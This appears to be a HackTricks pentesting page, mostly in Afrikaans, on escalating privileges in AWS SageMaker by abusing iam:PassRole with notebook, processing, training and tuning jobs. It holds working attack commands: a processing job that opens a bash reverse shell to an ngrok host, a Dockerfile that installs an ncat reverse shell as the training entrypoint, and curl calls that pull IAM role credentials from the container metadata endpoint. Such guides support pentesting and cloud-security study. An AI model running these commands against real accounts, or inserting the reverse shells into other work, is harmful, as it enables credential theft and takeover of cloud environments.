5.6 KiB
AWS - Sagemaker Privesc
AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
Begin om 'n notaboek te skep met die IAM Rol wat daaraan gekoppel is:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
Die antwoord moet 'n NotebookInstanceArn veld bevat, wat die ARN van die nuut geskepte notaboekinstansie sal bevat. Ons kan dan die create-presigned-notebook-instance-url API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notaboekinstansie te verkry sodra dit gereed is:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Navigeer na die URL met die blaaier en klik op `Open JupyterLab` in die boonste regterkant, scroll dan af na die “Launcher” tab en onder die “Other” afdeling, klik die “Terminal” knoppie.
Nou is dit moontlik om toegang te verkry tot die metadata geloofsbriewe van die IAM Rol.
Potensiële Impak: Privesc na die sagemaker diensrol wat gespesifiseer is.
sagemaker:CreatePresignedNotebookInstanceUrl
As daar Jupyter notebooks reeds aan die gang is en jy kan hulle lys met sagemaker:ListNotebookInstances (of hulle op enige ander manier ontdek). Jy kan 'n URL vir hulle genereer, toegang tot hulle verkry, en die geloofsbriewe steel soos aangedui in die vorige tegniek.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Potensiële Impak: Privesc na die sagemaker diensrol wat aangeheg is.
sagemaker:CreateProcessingJob,iam:PassRole
'n Aanvaller met daardie toestemmings kan sagemaker 'n verwerkingswerk laat uitvoer met 'n sagemaker rol wat daaraan geheg is. Die aanvaller kan die definisie van die houer aandui wat in 'n AWS bestuurde ECS rekening instansie uitgevoer sal word, en die geloofsbriewe van die aangehegte IAM rol steel.
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>
# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
Potensiële Impak: Privesc na die sagemaker diensrol wat gespesifiseer is.
sagemaker:CreateTrainingJob, iam:PassRole
'n Aanvaller met daardie toestemmings sal in staat wees om 'n opleidingswerk te skep, wat 'n arbitrêre houer daarop laat loop met 'n rol wat daaraan geheg is. Daarom sal die aanvaller in staat wees om die akrediteer van die rol te steel.
Warning
Hierdie scenario is moeiliker om te benut as die vorige een omdat jy 'n Docker-beeld moet genereer wat die rev shell of krediete direk na die aanvaller sal stuur (jy kan nie 'n beginopdrag in die konfigurasie van die opleidingswerk aandui nie).
# Skep docker beeld mkdir /tmp/rev ## Let daarop dat die opleidingswerk 'n uitvoerbare genaamd "train" gaan aanroep ## Dit is waarom ek die rev shell in /bin/train plaas ## Stel die waardes van <YOUR-IP-OR-DOMAIN> en <YOUR-PORT> cat > /tmp/rev/Dockerfile <<EOF FROM ubuntu RUN apt update && apt install -y ncat curl RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train RUN chmod +x /bin/train CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh EOF cd /tmp/rev sudo docker build . -t reverseshell # Laai dit op na ECR sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'
#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
Potensiële Impak: Privesc na die sagemaker diensrol gespesifiseer.
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
'n Aanvaller met daardie toestemmings sal (potensieel) in staat wees om 'n hyperparameter opleidingswerk te skep, 'n arbitrêre houer daarop te laat loop met 'n rol aangeheg daaraan.
Ek het nie uitgebuit nie weens die gebrek aan tyd, maar dit lyk soortgelyk aan die vorige uitbuitings, voel vry om 'n PR met die uitbuitingsbesonderhede te stuur.
Verwysings
{{#include ../../../banners/hacktricks-training.md}}